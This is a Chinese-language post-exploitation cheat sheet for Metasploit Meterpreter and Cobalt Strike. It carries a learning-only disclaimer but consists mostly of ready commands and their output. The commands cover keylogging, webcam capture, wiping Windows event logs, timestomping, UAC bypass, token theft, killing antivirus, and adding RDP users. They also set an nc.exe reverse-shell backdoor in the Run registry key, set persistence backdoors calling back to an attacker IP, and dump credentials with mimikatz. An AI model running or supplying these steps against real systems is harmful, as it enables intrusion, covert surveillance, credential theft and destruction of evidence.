郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

写免杀的时候在想,msf连上后能干啥?之前只有大概的了解下,具体没怎么实操,后面把之前写的文章过了一遍,然后谷歌了一下发现还有好多不知道的地方借此删除了去年写的那篇文章合并到了一起,本篇会持续更新,如果看到师傅们有什么新奇的操作都会记录下来

image-20200525181824723

Metasploit体系框架

1

文件目录解析

核心文件包括datamodulesscriptstoolsplugins

data

该文件里常用的的功能在wordlists(字典)里面

modules

该文件夹里包括了msf最核心的几个文件

auxiliary(漏洞辅助模块一般是没有攻击载荷的漏洞攻击)
Exploits(渗透攻击模块)
st(开发模块)
pads(漏洞负载模块)
Encode码器模块)
Nops(空指令模块>
scripts

该文件夹里面包含这各种脚本

tools

该文件夹中存放着大量的使用工具

plugins

该文件夹放着大量插件

系统命令

基本系统命令
sessions -i <ID值>  #进入会话   -k  杀死会话
background #将当前会话放置后台
run #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程 kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown #重启/关机
shell #进入目标机cmd shell
开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标

uictl disable mouse  #禁用鼠标
uictl disable keyboard #禁用键盘
uictl enable mouse #开启鼠标
摄像头命令
webcam_list  #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频

如果系统不存在摄像头的话就会报错

meterpreter > webcam_list
[-] webcam_list: Operation failed: A device attached to the system is not functioning.
meterpreter > webcam_snap
[-] webcam_list: Operation failed: A device attached to the system is not functioning.
meterpreter >

而如果你存在摄像头的话是这样的

meterpreter > webcam_list
1: FaceTime HD Camera (Built-in)

拍摄照片

image-20200525115133619

执行文件

参数列表如下

meterpreter > execute 
Usage: execute -f file [options]
Executes a command on the remote machine.

OPTIONS:

-H Create the process hidden from view.
-a <opt> The arguments to pass to the command.
-c Channelized I/O (required for interaction).
-d <opt> The 'dummy' executable to launch when using -m.
-f <opt> The executable command to run.
-h Help menu.
-i Interact with the process after creating it.
-k Execute process on the meterpreters current desktop
-m Execute from memory.
-s <opt> Execute process in a given session as the session user
-t Execute process with currently impersonated thread token

示例

execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

这个路径是我们shellcode.exe运行的当前路径,如下

meterpreter > execute -H -i -f powershell.exe
Process 12728 created.
Channel 1 created.
Windows PowerShell
??Ȩ???? (C) Microsoft Corporation??????????Ȩ????

?????µĿ?ƽ̨ PowerShell https://aka.ms/pscore6

PS C:\virus\ShellCode\ShellCode\Release>
进程迁移

参数列表如下

meterpreter > migrate
Usage: migrate <<pid> | -P <pid> | -N <name>> [-t timeout]

示例

getpid    # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程

ps查看当前进程,这里只列出两个,不然太多了没列出的必要,可以看到wsctrl.exe是系统进程,而powershell.exe是用户启动的进程权限相同

 PID    PPID   Name                                                                Arch  Session  User                 Path
--- ---- ---- ---- ------- ---- ----

2192 708 wsctrl.exe
12032 5792 powershell.exe x64 1 ASCOTBECC20\ascotbe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

如果两个进程的权限不同,也就是说该进程没有要注入的进程权限高的话,是没办法写入到其他进程中去的,比如下面

meterpreter > migrate 2192 
[*] Migrating from 12116 to 2192...
[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process (insufficient privileges)
meter

如果权限相同的启动进程是可以注入的

meterpreter > migrate 12032
[*] Migrating from 180 to 12032...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 12032
清除日志
clearev #清除windows中的应用程序日志、系统日志、安全日志,需要管理员权限

执行前

image-20200525135426413

执行后

meterpreter > clearev
[*] Wiping 4993 records from Application...
[*] Wiping 2239 records from System...
[*] Wiping 11222 records from Security...

这里有一点要注意的就是,清除日志的话这边在安全和系统这两个地方还是会留着一条日志清除的日志

image-20200525135838480

文件系统命令

基本文件系统命令
getwd 或者pwd # 查看当前工作目录  
ls
cd
cat c:\\lltest\\lltestpasswd.txt # 查看文件内容
upload /tmp/hack.txt C:\\lltest # 上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\\1.txt #编辑或创建文件 没有的话,会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹
getlwd 或者 lpwd #操作攻击者主机 查看当前目录
lcd /tmp #操作攻击者主机 切换目录
伪造时间戳

参数列表如下

meterpreter > timestomp c://

Usage: timestomp <file(s)> OPTIONS

OPTIONS:

-a <opt> Set the "last accessed" time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c <opt> Set the "creation" time of the file
-e <opt> Set the "mft entry modified" time of the file
-f <opt> Set the MACE of attributes equal to the supplied file
-h Help banner
-m <opt> Set the "last written" time of the file
-r Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file
-z <opt> Set all four attributes (MACE) of the file

示例

timestomp -v C://2.txt   #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

win.ini的时间戳赋值给VirtualAllocPlanB.exe

image-20200525140626180

搜索文件

参数列表如下

meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...
Search for files.

OPTIONS:

-d <opt> The directory/drive to begin searching from. Leave empty to search all drives. (Default: )
-f <opt> A file pattern glob to search for. (e.g. *secret*.doc?)
-h Help Banner
-r <opt> Recursivly search sub directories. (Default: true)

示例

search -f *secret*.doc  #全局搜索secret.doc这个文件

网络命令

基本网络命令
ipconfig/ifconfig
netstat –ano
arp
getproxy #查看代理信息
route #查看路由
端口转发

参数列表如下

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

-L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
-R Indicates a reverse port forward.
-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the "list" command).
-l <opt> Forward: local port to listen on. Reverse: local port to connect to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
-r <opt> Forward: remote host to connect to.

示例

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

接下来只需要连接本地的6666端口即可连上目标

image-20200525180719130

添加路由

参数列表如下

meterpreter > run autoroute -h

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Usage: run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[*] run autoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes

示例

run autoroute -s 192.168.159.0/24  #添加到目标环境网络
run autoroute –p #查看添加的路由

然后可以利用arp_scannerportscan等进行扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
Socks4a代理

autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理

msf> use auxiliary/server/socks4a 
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run

然后

vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080

最后proxychains 使用Socks4a代理访问

信息收集

信息收集的脚本位于:

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

信息收集的脚本较多,仅列几个常用的:

run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控

提权

getsystem

工作原理:

  • getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
  • getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
  • Windows服务已启动,导致与命名管道建立连接。
  • 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。

然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

bypassuac

内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

如使用bypassuac.rb脚本:

msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

内核漏洞提权

可先利用enum_patches模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接

meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

远程桌面&截屏

enumdesktops  #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了
enumdesktops
meterpreter > enumdesktops 
Enumerating all accessible desktops

Desktops
========

Session Station Name
------- ------- ----
1 WinSta0 Default
screenshot

image-20200525160126036

espia模块

image-20200525160250265

开启rdp&添加用户

getgui

参数列表如下

meterpreter > run getgui –h

[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u <username> -p <password>
Or: getgui -e

OPTIONS:

-e Enable RDP only.
-f <opt> Forward RDP Connection.
-h Help menu.
-p <opt> The Password of the user to add.
-u <opt> The Username of the user to add.

示例

run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456 #添加用户
run getgui -f 6661 –e #3389端口转发到6661

这种方法不推荐是用,容易创建失败

image-20200525171554701

enable_rdp
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662

image-20200525171233929

最后用工具连接成功

image-20200525171428486

键盘记录

keyscan_start  #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录

这边要说一点就是,导出记录的话要在keyscan_stop命令之前,不然结束了就无法导出了

meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump #每次转储后,命令都会打印出来,然后再次转储的话是从上一次键盘结束开始记录的
Dumping captured keystrokes...
fffff<CR>
<CR>
<CR>
fff<CR>
<CR>
<CR>

meterpreter > keyscan_stop
Stopping the keystroke sniffer...

sniffer抓包

use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包

注册表操作

参数列表如下
meterpreter reg –h
Usage: reg [command] [options]
Interact with the target machine's registry.

OPTIONS:

-d <opt> The data to store in the registry value.#注册表中值的数据
-h Help menu.
-k <opt> The registry key path (E.g. HKLM\Software\Foo).#注册表键路径
-r <opt> The remote machine name to connect to (with current process credentials#要连接的远程计算机名称(使用当前进程凭据)
-t <opt> The registry value type (E.g. REG_SZ).#注册表值类型
-v <opt> The registry value name (E.g. Stuff).#注册表键名称
-w Set KEY_WOW64 flag, valid values [32|64].#设置32位注册列表还是64位
COMMANDS:

enumkey Enumerate the supplied registry key [-k <key>]#枚举可获得的键
createkey Create the supplied registry key [-k <key>]#创建提供的注册表项
deletekey Delete the supplied registry key [-k <key>]#删除提供的注册表项
queryclass Queries the class of the supplied key [-k <key>]#查询键值数据
setval Set a registry value [-k <key> -v <val> -d <data>]#设置键值
deleteval Delete the supplied registry value [-k <key> -v <val>]#删除提供的注册表值
queryval Queries the data contents of a value [-k <key> -v <val>]#查询值的数据内容
注册表设置nc后门
upload /Users/ascotbe/Downloads/netcat-1.11/nc.exe C:\\windows\\system32 #上传nc,前面的是你要上传文件的位置
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值
nc -v 192.168.0.142 443 #攻击者连接nc后门

设置成功

image-20200525173618434

可以看到目标这边的注册表和进程都也启动了

image-20200525180115233

令牌操纵

假冒令牌
use incognito      
help incognito #查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token,或者用下面的
impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 执行
或者直接shell
rev2self #返回原始token

可以看到我们直接使用SYSTEM权限运行了shell

image-20200525174444421

steal_token窃取令牌

参数列表如下

meterpreter > steal_token
Usage: steal_token [pid]

示例

steal_token <pid值>   #从指定进程中窃取token   先ps
drop_token #删除窃取的token

这种方法如果不是SYSTEM权限的话是无法窃取SYSTEM权限的,只能窃取相关的权限

meterpreter > steal_token 10340
Stolen token with username: DESKTOP-S5P5JJD\ascotbe
meterpreter > steal_token 692
[-] stdapi_sys_config_steal_token: Operation failed: Access is denied.

关闭杀软

meterpreter> run killav //这个脚本要小心使用,可能导致目标机器蓝屏死机

后门植入

persistence启动项后门

C:\Users\XXXXX\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项

run persistence –h  #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip

连接后门

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit

metsvc服务后门

C:\Users\XXXXX\AppData\Local\Temp\上传了三个文件(metsrv.x86.dllmetsvc-server.exemetsvc.exe),通过服务启动,服务名为meterpreter

run metsvc –h   # 查看帮助
run metsvc –A #自动安装后门

连接后门

msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit

Cobalt Strike体系框架

beacon命令
BeaconCommands
===============
Command Description
------- -----------
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗

参考文章

https://xz.aliyun.com/t/2536